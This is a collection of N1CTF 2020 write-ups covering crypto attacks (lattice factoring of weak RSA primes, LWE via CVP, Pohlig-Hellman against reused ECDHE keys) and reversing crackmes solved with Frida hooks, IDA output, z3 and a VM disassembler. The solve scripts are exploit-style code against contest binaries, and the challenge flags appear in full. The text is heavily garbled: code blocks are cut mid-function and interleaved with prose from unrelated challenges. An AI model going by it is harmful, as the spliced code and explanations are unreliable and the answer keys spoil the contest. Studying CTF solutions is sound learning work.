if not PoW():   print("Invalid PoW.")   exit() signal.alarm(90) try:   chall() except:   print("oof...")   exit() About generating the curve, I used Complex Multiplication method. I've also used the algorithm from this paper to generate valid parameters. You can check out my solution here. The unintended solutions: Though I'm not aware of all the unintended solutions, I think basically you can construct some anomalous curves where ECDLP can be solved efficiently. You can check out the writeup by @rkm0959. Easy RSA? To accomplish this challenge, we need to solve the following two problems: 1. Factor N which generated using vulnerable random prime generators 2. Solve LWE with the "linear" array Factor N Let v be an unknown number, the above code can be represented by the following formula $$a * p = v_4 * x^4 + v_3 * x^3 + v_2 * x^2 + v_1 * x + v_0$$ Thus, N can be expressed as $$a * b * N = w_8x^8 + w_7x^7 + w_6x^6 + w_5x^5 + w_4x^4 + w_3x^3 + w_2x^2 + w_1x + w_0$$ The degree of the above polynomial is only 8, we can use a lattice to help us. Consider the following lattice $$\begin{bmatrix} 1 & 0 & 0 & \ldots & 0 & x^{2k} \ 0 & 1 & 0 & \ldots & 0 & x^{2k-1} \ \vdots & \vdots & \vdots & \ddots & \vdots & \vdots \ 0 & 0 & 0 & \ldots & 1 & x \ 0 & 0 & 0 & \ldots & 0 & - N \end{bmatrix}$$ Using LLL algorithm, we can get a set of vector $v = (w{2k}, w{2k-1},\ldots,w_1,-w_0)$ Now factor degree 8 polynomial into two degree 4 polynomials $$a * p = 3053645990x^4 + 3025986779x^3 + 2956649421x^2 + 3181401791x + 4085160459 \ b * q = 2187594805x^4 + 2330453070x^3 + 2454571743x^2 + 2172951063x + 3997404950$$ Substituting $x = 3^{66}$ into the above formula, and then using GCD, we can get p and q. solve LWE Split the matrix by rows, and a single row can be expressed by the following formula $$a_i * secret + b = linear \pmod{upper} \ \Downarrow \ a_i * secret + k * upper = linear - b$$ Since there are 127 such formulas, a new matrix can be constructed What we need to do is to find a vector that approximates b on a lattice similar to the matrix on the left, that is, CVP. def get_random_prime():    total = 0    for i in range(5):        total += mark**i * getRandomNBitInteger(32)    fac = str(factor(total)).split(" * ")    return int(fac[-1]) code solve RSA solve LWE C = 1 M = 3**66 k = 4 N = 32846178930381020200488205307866106934814063650420574397058108582359767867168248 45280440466061761728177216391694470399411178484981023387050492576208615524981008 9376194662501332106637997915467797720063431587510189901 ml = [] for i in range(2*k + 1):    tmp = [0] * (2*k + 1)    tmp[i] = 1    tmp[-1] = C * M**(2*k - i)    if i == 2*k:        tmp[-1] = -1 * C * N    ml.append(tmp) mm = Matrix(ml) ws = mm.LLL() w8, w7, w6, w5, w4, w3, w2, w1, cw0 = ws[0] w0 = cw0 / C * -1 R.<x> = PolynomialRing(ZZ) poly = w8*x^8 + w7*x^7 + w6*x^6 + w5*x^5 + w4*x^4 + w3*x^3 + w2*x^2 + w1*x + w0 print(poly) print(poly.factor()) x = 3**66 ap = 3053645990*x^4 + 3025986779*x^3 + 2956649421*x^2 + 3181401791*x + 4085160459 p = gcd(ap, N) q = N / p print(p, q) e = 127 phi = (p - 1) * (q - 1) d = inverse_mod(e, phi) result = [......] linear = [] for r in result:    linear.append(pow(r, d, N)) print(linear) from sage.modules.free_module_integer import IntegerLattice import numpy as np def CVP(lattice, target):    gram = lattice.gram_schmidt()[0]    t = target    for i in reversed(range(lattice.nrows())):        c = ((t * gram[i]) / (gram[i] * gram[i])).round()        t -= lattice[i] * c    return target - t row = 127 column = 43 prime = 152989197224467 matrix_values = list(np.load("A.npy")) results = [31087157982749, 104407786039376, 137686226773280, 122706247879910, 3655653435789, 75939712496409, 23231038469244, 62275128959617, 106568566535000, 139979210268497, 79578952325022, 39814231664627, 136423111991438, 127591081894599, 137994322544582, 78604075943621, 114622235852532, 88755932103972, 106116650561098, 110708979497388, 13385264758465, 74235730861245, 100669691706940, 14891138382735, 125542116499588, 133221001164679, 128410414732026, 8591859221687, 100429843011859, 149288233436676, 118497336519202, 151300808743994, 94906614092865, 39866689255835, 102387722052459, 39836963925499, 87282800140954, 7022222126771, 129977203277257, 48759983962723, 63128134859648, 88570138802848, 6826269841995, 151504656089272, 93761934099344, 90593498845277, 73033798174713, 43387506205957, 47906851298720, 98248454178913, 60699627108221, 102052261408526, 26283939450850, 108411937946189, 137962137325519, 48964082685250, 109663630507527, 150859035456173, 114574205419268, 58781294385613, 116079144233661, 41851533914525, 115615624663637, 117345086133197, 13035149717492, 152219947031771, 54143063217021, 28063583119486, 12418419242545, 84997801980245, 76140535711332, 22782669917859, 99440612067126, 107228647755926, 144139270604673, 85556086412890, 128905302611897, 92851087699865, 142117521891621, 119557654940768, 31943733104226, 78303883202337, 64649956954315, 3549522683146, 40014171078827, 13252757299300, 116045625664262, 14664948290017, 65694839686733, 29518525156130, 150705658696732, 143791484820097, 131475164047537, 62428301185400, 4829603681024, 110933884725041, 2018130983244, 7272655468964, 124815479662237, 56240879680810, 95377339254418, 122049458606086, 147635008188323, 31827700267549, 39321382259757, 20624189318571, 12666661347663, 39748156613375, 73341116342101, 120046631622860, 79299889815491, 55335907796241, 104004761239437, 22242893504650, 35814193716083, 69815844744333, 98813297486210, 52344903586963, 78832812920313, 2440395446163, 151978021667326, 16994146588682, 61036562530947, 75402800673525, 32270398644225, 69141116344110, 58412825281201] A = matrix(ZZ, row + column, row) # row = 127 will be a bit slow, it takes a little more than two minutes to run on my PC (Ryzen 3700X) for i in range(row):    A[i, i] = prime for x in range(row):    for y in range(column):        A[row + y, x] = matrix_values[x][y] lattice = IntegerLattice(A, lll_reduce=True) target = vector(ZZ, results) res = CVP(lattice.reduced_basis, target) print("Closest Vector: {}".format(res)) R = IntegerModRing(prime) M = Matrix(R, matrix_values) flag = M.solve_right(res) FlagBot In this challenge, the sender exchange key using ECDHE with 7 receivers. There are two vulnerabilities in this challenge: The sender reused the same private key The generate_safecurve function only checks the existence of a large prime factor in the order of curve, but there can be small prime factors By using Pohlig Hellman algorithm, we can use recover private key modulo small prime factor using Pohlig Hellman attack. And since the private key is the same in the 7 curves, we can use the small factors in all 7 curves to obtain partial information of the private key and then combine them using CRT. print("".join([chr(i) for i in list(flag)])) from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import long_to_bytes, bytes_to_long from Crypto.Cipher import AES from hashlib import sha256 import base64 import re with open('output.txt', 'r') as f:   lines = f.readlines() N = 7 curves = [None for _ in range(N)] g = [None for _ in range(N)] S_pub = [None for _ in range(N)] R_pub = [None for _ in range(N)] encrypted_msg = [None for _ in range(N)] for i in range(N):   a, b, p = re.findall(r'\d{2,}', lines[i*4+0])   a = int(a)   b = int(b)   p = int(p)   E = EllipticCurve(GF(p), [a, b])   curves[i] = E   exec(lines[i*4+1])   exec(lines[i*4+2])   exec(lines[i*4+3])   g[i] = E(g[i])   S_pub[i] = E(S_pub[i])   R_pub[i] = E(R_pub[i]) moduli = [] residues = [] for idx, curve in enumerate(curves):   n = curve.order()   fac = list(factor(n))   for i, j in fac:       modules = i**j       if i > 1 << 40:           break Reverse Oflo First, some flower code:       _g_ = g[idx]*ZZ(n/modules)       _q_ = S_pub[idx]*ZZ(n/modules)       residue = discrete_log(_q_, _g_, operation="+")       moduli.append(modules)       residues.append(residue)       print(residue, modules) secret = crt(residues, moduli) encrypted_msg = [None] exec(lines[4*N]) px = (R_pub[0]*secret).xy()[0] _hash = sha256(long_to_bytes(px)).digest() key = _hash[:16] iv = _hash[16:] msg = AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(encrypted_msg[0])) msg = unpad(msg, 16) print(msg) #define FlowerCode0(i) \ asm("call func" #i ";" \ ".byte 0xE8;" \ "jmp l" #i ";" \ "func" #i ":" \ "pop %rax ;" \ "add $1, %rax ;" \ "push %rax ;" \ "mov %rsp, %rax ;" \ "xchg (%rax), %rax ;" \ "pop %rsp ;" \ "mov %rax, (%rsp) ;" \ "ret ;" \ "l" #i ":" \ ); #define FlowerCode1 \ asm(".byte 0xEB;" \ ".byte 0xFF;" \ ".byte 0xC0;" \ ".byte 0x48;" \ ".byte 0x90;" \ ".byte 0x90;" \ ); #define FlowerCode2 \ asm(".byte 0x74;" \ ".byte 0x07;" \ ".byte 0x75;" \ ".byte 0x05;" \ ".byte 0xE9;" \ ".byte 0x00;" \ ".byte 0x10;" \ ".byte 0x40;" \ Then, we can see the function sub_4008B9 executes fork , wait , execve , executes the cat /proc/version command, and uses ptrace to make the parent process get the output of the child process. After getting the input, use the first 5 bits of the input to XOR the first 10 bytes of a function. The first 5 characters can be solved by the 5 bytes at the beginning of the commonly used function push rbp; mov rbp, rsp; sub rsp, xh 55 48 89 E5 48 , or you can directly guess n1ctf . Just use IDAPython or IDC script to patch. In other words, the input is correct to run the function correctly. The last is a very simple XOR operation judgment Oh My Julia The executable provided is built with JuliaLang. Since Julia is JIT compiled, we need to find the JIT compiled code. This can be done by debugging, here are some possible ways: 1. break when program is asking for input, check the call stack 2. single step until the program outputs something 3. hardware break points on input / const flag part Then we can dump the JITed code for further analysis. The program basically splits the flag into 5 parts, each part is validated through a check function: 1. const string 2. simple xor 3. Chinese remainder theorem 4. some bit operations 5. exponentiating by squaring It's trival to solve these parts after the check logic is understood. Here is the source code: ".byte 0x00;" \ ); using PackageCompiler build_executable("crack.jl") module crackme Base.@ccallable function julia_main()::Cint   try       real_main()   catch       Base.invokelatest(Base.display_error, Base.catch_stack())       return 1   end   return 0 end function check1(word) if word != "n0w" return false else return true end end function check2(word) if length(word) != 3 return false end dest = [232, 222, 196] for i = 1:3 if Int(word[i]) ⊻ 177 != dest[i]   return false end end return true end function check3(word) if length(word) != 4 return false end num = reinterpret(Int32, Array{UInt8}(word))[1] if num % 4919 != 2303 || num % 6361 != 4186 || num % 9311 != 5525 return false else return true end #if word != "kN0w" # return false #else # return true #end end function check4(word) if length(word) != 5 return false end dest = UInt8[0x59, 0xbe, 0x62, 0xfa, 0x04] l = Array{UInt8}(word) l[3] = (l[3]<<3) | (l[3]>>5) l[1] = (l[1]<<2) | (l[1]>>6) l[4] = l[4] ⊻ l[3] ⊻ l[1] l[2] = l[2] ⊻ l[5] ⊻ (l[1]<<3) l[5] = (l[5]<<4) | (l[5]>>4) l[1] = l[1] ⊻ l[5] ⊻ (l[2]<<2) l[2] = (l[2]<<7) | (l[2]>>1) if l != dest return false else return true end #if word != "juL1@" # return false #else # return true #end end function check5(word) if length(word) != 13 return false end base = BigInt(3) result = BigInt(1) for i = 1:13 #global result #global base if word[i] != 'Z' && word[i] != 'z'   return false end if word[i] == 'Z'   result = result * base end base *= base end #println(result) if result != 61679946777506378467872840312841986991667249152929142074166257699228071106887010 75146631681903787645131506509092609320621680335996011774133185924915744219183246 97420251006158808045052575689552302268036359257397440938757775421630755444465318 09677648124663822063039165226064902905602842930107484946595209322524005221327015 03847731262931700009254884130125557658811643798175788587564577224264756167863381 39123440401300401004443422210356971455945469017931960996274214577409381853005046 63647791702978999962154158827496981966921262839116871702388294591952015416863476 48768736129003321187960266022395285700138347393691701069800248507644296815948904 64297623128839040639289113749426583249475940157309721085011466315327431375653753 40181095892065706025405593260392008487166386173677131719887118934026042628985515 64788694015795986970388491176582531665735658490435481200684917725457390389445927 20701773955110489929320803189469159756775137231617323596921870123612933347531212 66874837265181988845134314413737323221373875134111861138154890082049098827672111 69670588119365268975311156035629164815032021033896627248205135889384062142533117 42712617409566428822968898385751405291242937354098963673041161444450027589555378 62885249056724812909149622306639429787119771916170653552853762523009198560612620 86308230629602563968135550187794697940223487471707339180184560459695301837543872 63568148832798074443881093223817517333691010806716110452493414571938958285109736 89357505170778900347544804452397960659560233829530811043913215054924188796428437 44083771488220776322694705558795406301099726143053265877629581376259736759379188 07031467759038018087527358956461355907730503993152153288949287465411646168772143 37295606043450536652953532360766645870879943101944068270227866564998476721933856 24034515585768388568701635965244814323298597210348083543194600191130177132309986 67896937355182944200274748531186657537835070352723871110209536938433635691040400 44693561908061731576325877528294343862871145782911554648807092136414228760023939 11662603315051364986980980896704848929494530865685081868837652490605249636514235 05718220770295232165745445632154078161815225127852826804193082198241714653831934 46392629424092874137583652589367195858882458235848247878396957929423508359753258 89291159555569773698908762648328204484224374476005032892196588715683423064219222 09521018795608405042845353137267495007272621117282558527503741064418621896053910 92031963752945680563469776908405477478225089695308708557172947465239480686578105 45614758240263248907656864643160983042403080961181298595656632900922716579858394 87195890434817004015345305627461111501980650678410820236795140135359271070941662 48554025186084775781914641021292148379789945627962712861108184027755338441161388 32972397140813091516932287622012692130454886149279432122660261892989759781348004 54502999715032604479687254879531520282421802106860544794952828253275398419942736 09813801177279247070970975677553387590710371355820686778412426049843368218249129 07298987321024269757948506834116030717378803260595543851757773593544092953717412 77776594690200642255235778894185099413101198530015695676165276351211733759214136 29037704436404170775878688434017394639460119764273662775356914155383033156808985 71953720879996801759034877085380157983224998649271609665774965177001138337677090 025872131388597130451372531363 return false else return true end #if word != "ZzzZZzzzZZzZZ" # return false #else # return true #end end function real_main() # flag = "n0w_You_kN0w_juL1@_ZzzZZzzzZZzZZ" print("> ") s = readline(stdin) EasyAPK First of all,find the key function sub_13040 according to the RegisterNatives API,then you can see that the function sub_EA3C is a function which calculates the length of input string and finally you'll find length of the string that you input must be 39. Then you'll find that all native functions use obfuscator,but the logic of all methods can be analyzed if you stay positive and be patient. After dynamic analysis with IDA and frida,You'll find that the method sub_12930 is a encrypt function using base64 , v39 is the length added with the first part of you input.Although the function use another table unk_39020 ,which can be see by dynamic analysis or just using frida. After using frida,the content of it is shown as follows: if length(s) != 32 println("err") exit() end l = split(s, "_") if length(l) != 5 println("err") exit() end if check1(l[1]) && check2(l[2]) && check3(l[3]) && check4(l[4]) && check5(l[5]) println("n1ctf{$s}") else println("noo") end end if abspath(PROGRAM_FILE) == @__FILE__   real_main() end end # module Following the execution order,You'll find that function sub_F020 hold the result of method sub_12930 ,and it is a strcmp function,then we get the encrypted ciphertext jZe3yJG3zJLHywu4otmZzwy/ and get the first part of plaintext which shows as follows: Stay patient and keep anaylsis,you'll find sub_122A0 is the next key function, hook it, Obviously,the first argument is the length adding to the second part of our input,the second and the last one are used before.After anaylsis for the function sub_122A0 ,You'll find it is a method using AES-CBC according to the constants it uses.Just like the next picture shows. Then,you should get the ciphertext which used for compared.this part is so easy that you all knows,just showing the second flag. Then you got the whole flag : n1ctf{17b87f9aae8933ef03b5029f16f7e605} All scripts are shown as follows: function print_string(offset){   var module = Process.findModuleByName("libnative-lib.so")   var base = module.base;   console.log(ptr(base.add(ptr(offset))).readCString()); } function hook_native(){   var module = Process.findModuleByName("libnative-lib.so")   var base = module.base;   var sub_12930 = base.add(0x12930);   Interceptor.attach(sub_12930,{       onEnter : function(args){           this.arg0 = args[0];           console.log("sub_12930 onEnter:",hexdump(this.arg0),"\r\n");       },onLeave : function(retval){           console.log("sub_12930 onLeave:",hexdump(retval));       }   });   var sub_122A0 = base.add(0x122A0);   Interceptor.attach(sub_122A0,{       onEnter : function(args){           this.arg0 = args[0]           this.arg1 = args[1]           this.arg2 = args[2]           console.log("sub_122A0 onEnter:",ptr(this.arg0).readCString(),ptr(this.arg1).readCString(),ptr(this.arg 2).readCString())       },onLeave : function(retval){           console.log("sub_122A0 onLeave:",hexdump(retval))       }   }); } Fixed Camera 1.Use Cheat Engine to search the value of angle 2.Lock this value, but doesn't work, seem like value has been encrypted. 3.Use IL2CppDumper to dump the program, and it is easy to find the user script. https://github.com/Perfare/Il2CppDumper 4.Locate to the value encryption function, and found the value encrypts by random number. 5.Take out the random funtion by debuger, then you can find the unencrypted value appear in program memory.(Or you could just patch the limitation code of angle ) N1vault function main(){   hook_native(); } setImmediate(main); EasyRE Apply for memory in vm_init to read the opcode and initialize the registers and memory. Looking at vm_run, we can't see all the pseudo code We can create a new segment, copy the exception handling to this segment, and create a function for each exception handling to view the pseudo code. Write a disassembly script of the virtual machine instructions according to the pseudo code: import binascii rip = 0 f=open('opcode.bin','rb') t=f.read() opcode=[((t[i+3]<<24)|(t[i+2]<<16)|(t[i+1]<<8)|t[i]) for i in range(0,len(t),4)] opcode_type_id = [0x1000000, 0x2000000, 0x3000000, 0x6000000, 0x5000000, 0x4000000,                  0x7000000, 0x8000000, 0x9000000, 0x0B000000, 0x0C000000, 0x0A000000] tot=0 tag=3 while rip != len(opcode):    opcode_type = opcode[rip] & 0xF000000    opcode_a1 = opcode[rip] & 0xFFF000    opcode_a2 = opcode[rip] & 0xFFF    arg1 = opcode[rip+1]    arg2 = opcode[rip+2]    if tag==2:        print("LABLE_%d:"%tot)        tot+=1    if opcode_type == opcode_type_id[0]:        if opcode_a1 == 0x800000:            if opcode_a2==0x900:                print('memory[ %s + 0x100 ] = %s;'%(hex(arg1),hex(arg2)))            elif opcode_a2==0x100:                print('reg_1 = %s;'%(hex(arg1)))            elif opcode_a2==0x400:                print('reg_3 = %s;'%(hex(arg1)))        elif opcode_a1 == 0x900000:            if opcode_a2==0x100:                print('reg_1 = memory[ %s + 0x100 ];'%(hex(arg1)))            elif opcode_a2==0x400:                print('reg_3 = memory[ %s + 0x100 ];'%(hex(arg1)))        elif opcode_a1 == 0x101000:            if opcode_a2==0x900:                print('memory[ %s + 0x100 ] = (unsigned char)reg_1;'% (hex(arg1)))            elif opcode_a2==0x700:                if arg1==1:                    print('*(unsigned char *)reg_3 = (unsigned char)reg_1;')                elif arg1==2:                    print('*(unsigned char *)reg_1 = (unsigned char)reg_1;')        elif opcode_a1 == 0x401000:            if opcode_a2==0x700:                if arg1==1:                    print('*(unsigned char *)reg_3 = (unsigned char)reg_3;')                elif arg1==2:                    print('*(unsigned char *)reg_1 = (unsigned char)reg_3;')        elif opcode_a1 == 0x400000:            if opcode_a2==0x300:                print('reg_2 = reg_3;')            elif opcode_a2==0x100:                print('reg_1 = reg_3;')        elif opcode_a1 == 0xA00000:            print('reg_3 = %s + reg_1;'%(hex(arg1)))    elif opcode_type==opcode_type_id[1]:        if opcode_a1==0x800000:            if opcode_a2==0x100:                print('reg_1 += %s;'%(hex(arg1)))            elif opcode_a2==0x400:                print('reg_3 += %s;'%(hex(arg1)))        elif opcode_a1==0x100000:            if opcode_a2==0x400:                print('reg_3 += reg_1;')        elif opcode_a1==0x400000:            if opcode_a2==0x100:                print('reg_1 += reg_3;')    elif opcode_type==opcode_type_id[2]:        if opcode_a1==0x100000:            if opcode_a2==0x400:                print('reg_3 -= reg_1;')    elif opcode_type==opcode_type_id[3]:        if opcode_a1==0x700000:            if arg1==1:                if opcode_a2==0x100:                    print('reg_1 = *(unsigned char *)(reg_1 + %s);'%(hex(arg2)))            elif arg1==2:                if opcode_a2==0x400:                    print('reg_3 = *(unsigned char *)reg_3;')        elif opcode_a1==0x101000:            if opcode_a2==0x400:                print('reg_3 = (unsigned char)reg_1;')            elif opcode_a2==0x100:                print('reg_1 = (unsigned char)reg_1;')        elif opcode_a1==0x401000:            if opcode_a2==0x100:                print('reg_1 = (unsigned char)reg_3;')            elif opcode_a2==0x400:                print('reg_3 = (unsigned char)reg_3;')    elif opcode_type==opcode_type_id[4]:        if opcode_a1==0x800000:            if opcode_a2==0x401:                print('tmp = (unsigned char*)&reg_3; *tmp >>= 4;')    elif opcode_type==opcode_type_id[5]:        if opcode_a1==0x800000:            if opcode_a2==0x400:                print('reg_3 <<= 4;')    elif opcode_type==opcode_type_id[6]:        if opcode_a1==0x300000:            if opcode_a2==0x400:                print('reg_3 |= reg_2;')    elif opcode_type==opcode_type_id[7]:        if opcode_a1==0x900000:            if opcode_a2==0x101:                print('tmp = (unsigned char*)&reg_1; *tmp ^= memory[ %s + 0x100 ];'%(hex(arg1))) 0x40006660 is the address of the flag The virtual machine code is divided into two parts, one is encryption, and the other is the result of verifying encryption. The output of the disassembly script is a C-like language syntax format, which can be compiled into a more readable form. Then get some expressions:    elif opcode_type==opcode_type_id[8]:        if opcode_a1==0x800000:            if opcode_a2==0x100:                print('eflag = reg_1 - %s;'%(hex(arg1)))    elif opcode_type==opcode_type_id[9]:        tmp = opcode_type_id[arg1]        opcode_type_id[arg1] = opcode_type_id[arg2]        opcode_type_id[arg2] = tmp        #print('swap SCOPE_TABLE[ %d ] , SCOPE_TABLE[ %d ]'%(arg1,arg2))    elif opcode_type==opcode_type_id[10]:        if arg1==1:            print('goto xxx')        else:            print('if(!eflag) goto LABLE_%d;'%tot)        tag=0    elif opcode_type==opcode_type_id[11]:        print('ret reg_1 == 1;')    rip += 3    tag += 1 Solve the value using z3. Analyze the encrypted part and find that the loop is unrolled. The encryption algorithm is relatively simple, you can write the decryption algorithm directly, or you can use z3 to solve it. flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]==700 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]-flag[7]==500 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]==1056 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]- flag[9]==998 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+ flag[10]==1212 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+ flag[10]+flag[11]==1467 flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+ flag[10]+flag[11]-flag[12]==1279 .... .... .... flag[0]+flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+ flag[10]+flag[11]+flag[12]+flag[13]+flag[14]+flag[15]+flag[16]+flag[17]+flag[18] +flag[19]+flag[20]+flag[21]+flag[22]+flag[23]+flag[24]+flag[25]+flag[26]+flag[27 ]+flag[28]+flag[29]+flag[30]+flag[31]+flag[32]+flag[33]+flag[34]+flag[35]+flag[3 6]+flag[37]+flag[38]+flag[39]+flag[40]+flag[41]+flag[42]+flag[43]+flag[44]+flag[ 45]+flag[46]+flag[47]+flag[48]+flag[49]+flag[50]+flag[51]+flag[52]+flag[53]+flag [54]+flag[55]+flag[56]+flag[57]+flag[58]+flag[59]+flag[60]+flag[61]==7134 [0x6e,0x31,0x63,0x74,0x66,0x7b,0x65,0xc8,0x9c,0x3a,0x62,0xff,0xbc,0x3d,0x6e,0xfb ,0xde,0x1b,0x58,0x99,0xcc,0x2a,0x6f,0x8a,0x7f,0x0a,0x52,0x49,0x1d,0x22,0x76,0x8b ,0x7f,0x18,0x47,0xf9,0xed,0x29,0x6d,0x2b,0xbf,0x03,0x44,0x4a,0xde,0x37,0x68,0xe9 ,0x1d,0x37,0x7e,0xfb,0xbe,0x1b,0x49,0xe8,0xdd,0x3d,0x74,0x3b,0x4f,0x5a,0x7d] for (int i = 0; i < 31; i++) { if (i % 2 == 0) { flag[i * 2] = ((flag[i * 2] & 0xf0) >> 4) | ((flag[i * 2] & 0xf) << 4); flag[i * 2] ^= a; a = flag[i * 2]; flag[(i * 2) + 1] ^= b; b = flag[(i * 2) + 1]; } else { flag[i * 2] ^= b; b = flag[i * 2]; flag[(i * 2) + 1] = ((flag[(i * 2) + 1] & 0xf0) >> 4) | ((flag[(i * 2) + 1] & 0xf) << 4); flag[(i * 2) + 1] ^= a; a = flag[(i * 2) + 1]; } } Finally get the flag chinese version:https://github.com/125e591/wp/blob/main/n1ctf2020_easyRE Auth This is a Windows internal related challenge. Congrats to NESE_Y&G for being the only team that solved the challenge. As it's already stated in the description this challenge is the most "contrived" one as you will see below. Basically auth.exe creates an ALPC-port and listens for incoming requests. It provides two opcodes : 0x1337 for checking the token and getting the flag , 0 for exiting. Normally you won't be able to pass the check because you have no access to the token.txt , but if you looked carefully, you can see that the handle of token.txt is truncated to 16-bits before calling the check function. So it's possible to flood the auth.exe with handles and get our file handle to be passed to the check function. Now, because of the sandboxing, you can't get a handle to the auth.exe to DuplicateHandle into the process. But since we're communicating on an ALPC channel, we can send messages with handle attributes to inject them into the server, and now we get all the pieces we need to get the flag. In order to get familiar with ALPC I suggest you read the slides. The source code and solution can be found at here. BabyCompiler I am studying compiler recently, and I had learned some basic knowlege about Lex and Yacc, so this problem is based on lex and yacc. The BabyComiler is a simple program generated by lex and yacc, it recvs some tokens and then process them. To reverse this program, you can compile some lex and yacc examples to find the common things like symbols and the code templates. In lex, each token could hava a process function. when the lex recved target token, the function will be called. And all process functions will be arrange to a switch. Each token will genernate a yy_act, yy_act is from yy_accept.....To understand the detailed work, you need to learn some basic compiler principles, such as NFA. The template code as blows n1ctf{ThE_X64_StRuCtUrEd_eXcEpTiOn_hAnDlInG_Is_sO_InTeReStInG.} do_action: /* This label is used only to access EOF actions. */ switch ( yy_act ) { /* beginning of action switch */ case 0: /* must back up */ /* undo the effects of YY_DO_BEFORE_ACTION */ *yy_cp = (yy_hold_char); yy_cp = (yy_last_accepting_cpos); yy_current_state = (yy_last_accepting_state); goto yy_find_action; case 1: So we can work out from the lex's code that the lex recv these tokens: n1ctf, {,},YACC,LEX,CTF,FUN,+,-,*,^ and Numbers. you can use angr, set the target address at each case's entry to work out their corresponding tokens. The yacc has the same structure too, each rule has a process function and all process function's code will be put into a switch. The template as blow: you can easily find the switch struct in the ida if you are using ida7.0 you may can't get switch properly recognized. You can set a breakpoint on each case entry, and then use n1ctf{xxx} as input to test xxx's process function.(xxx is a token) a b c d e is global varibles. rule: TopExp addr: 36A1 YY_RULE_SETUP #line 7 "1.l" return EQ; YY_BREAK case 2: YY_RULE_SETUP #line 8 "1.l" return POW; YY_BREAK case 3: ................   Otherwise, the following line sets YYVAL to garbage.     This behavior is undocumented and Bison     users should not rely upon it. Assigning to YYVAL     unconditionally makes the parser a bit smaller, and it avoids a     GCC warning that YYVAL may be used uninitialized. */ yyval = yyvsp[1-yylen]; YY_REDUCE_PRINT (yyn); switch (yyn)   {       case 2:       。。。。。。。。。 .text:000000000000310D                 lea     rdi, dword_4960 .text:0000000000003114                 movsxd rdx, dword ptr [rdi+rdx*4] .text:0000000000003118                 add     rdx, rdi .text:000000000000311B                 db     3Eh .text:000000000000311B                 jmp     rdx require: a == 0x3F9D72D4 rule:YACC addr:36D7 require: b == 0 c == 0 d == 0 e == 0 set: b = 0xAABB rule:LEX addr:3724 .text:000000000000369E                 jmp     rax .text:00000000000036A1                 mov     eax, cs:a .text:00000000000036A7                 cmp     eax, .text:00000000000036AC                 jnz     short wrong .text:00000000000036AE                 lea     rdi, aYesYouAreRight ; "yes you are right." .text:00000000000036B5                 mov     eax, 0 .text:00000000000036BA                 call   sub_1200 .text:00000000000036BF                 jmp     short loc_36CD .text:00000000000036D7                 mov     eax, cs:b .text:00000000000036DD                 test   eax, eax .text:00000000000036DF                 jnz     short wrong1 .text:00000000000036E1                 mov     eax, cs:c .text:00000000000036E7                 test   eax, eax .text:00000000000036E9                 jnz     short wrong1 .text:00000000000036EB                 mov     eax, cs:d .text:00000000000036F1                 test   eax, eax .text:00000000000036F3                 jnz     short wrong1 .text:00000000000036F5                 mov     eax, cs:e .text:00000000000036FB                 test   eax, eax .text:00000000000036FD                 jz     short loc_3715 .text:00000000000036FF .text:00000000000036FF wrong1:                                 ; CODE XREF: sub_31CF+510↑j .text:00000000000036FF                                         ; sub_31CF+51A↑j ... .text:00000000000036FF                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:0000000000003706                 call   sub_11A0 .text:000000000000370B                 mov     edi, 0 .text:0000000000003710                 call   exit_0 .text:0000000000003715 ; ------------------------------------------------------- -------------------- .text:0000000000003715 .text:0000000000003715 loc_3715:                               ; CODE XREF: sub_31CF+52E↑j .text:0000000000003715                 mov     cs:b, 0AABBh .text:000000000000371F                 jmp     loc_391D require: b == 0xAABB c == 0 d == 0 e == 0 set:d = 0xCCDD rule:CTF addr:3774 .text:0000000000003724                 mov     eax, cs:b .text:000000000000372A                 cmp     eax, 0AABBh .text:000000000000372F                 jnz     short loc_374F .text:0000000000003731                 mov     eax, cs:c .text:0000000000003737                 test   eax, eax .text:0000000000003739                 jnz     short loc_374F .text:000000000000373B                 mov     eax, cs:d .text:0000000000003741                 test   eax, eax .text:0000000000003743                 jnz     short loc_374F .text:0000000000003745                 mov     eax, cs:e .text:000000000000374B                 test   eax, eax .text:000000000000374D                 jz     short loc_3765 .text:000000000000374F .text:000000000000374F loc_374F:                               ; CODE XREF: sub_31CF+560↑j .text:000000000000374F                                         ; sub_31CF+56A↑j ... .text:000000000000374F                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:0000000000003756                 call   sub_11A0 .text:000000000000375B                 mov     edi, 0 .text:0000000000003760                 call   exit_0 .text:0000000000003765 ; ------------------------------------------------------- -------------------- .text:0000000000003765 .text:0000000000003765 loc_3765:                               ; CODE XREF: sub_31CF+57E↑j .text:0000000000003765                 mov     cs:d, 0CCDDh .text:000000000000376F                 jmp     switch1 .text:0000000000003774                 mov     eax, cs:b .text:000000000000377A                 cmp     eax, 0AABBh .text:000000000000377F                 jnz     short loc_37A2 .text:0000000000003781                 mov     eax, cs:c .text:0000000000003787                 test   eax, eax .text:0000000000003789                 jnz     short loc_37A2 .text:000000000000378B                 mov     eax, cs:d .text:0000000000003791                 cmp     eax, 0CCDDh .text:0000000000003796                 jnz     short loc_37A2 .text:0000000000003798                 mov     eax, cs:e .text:000000000000379E                 test   eax, eax .text:00000000000037A0                 jz     short loc_37B8 .text:00000000000037A2 .text:00000000000037A2 loc_37A2:                               ; CODE XREF: sub_31CF+5B0↑j require: b == 0xAABB c == 0 d == 0xCCDD e == 0 set: c = 0x123 rule: FUN addr:37C7 .text:00000000000037A2                                         ; sub_31CF+5BA↑j ... .text:00000000000037A2                 lea     rdi, aYouAreWrong ; "you are wrong!" .text:00000000000037A9                 call   sub_11A0 .text:00000000000037AE                 mov     edi, 0 .text:00000000000037B3                 call   exit_0 .text:00000000000037B8 ; ------------------------------------------------------- -------------------- 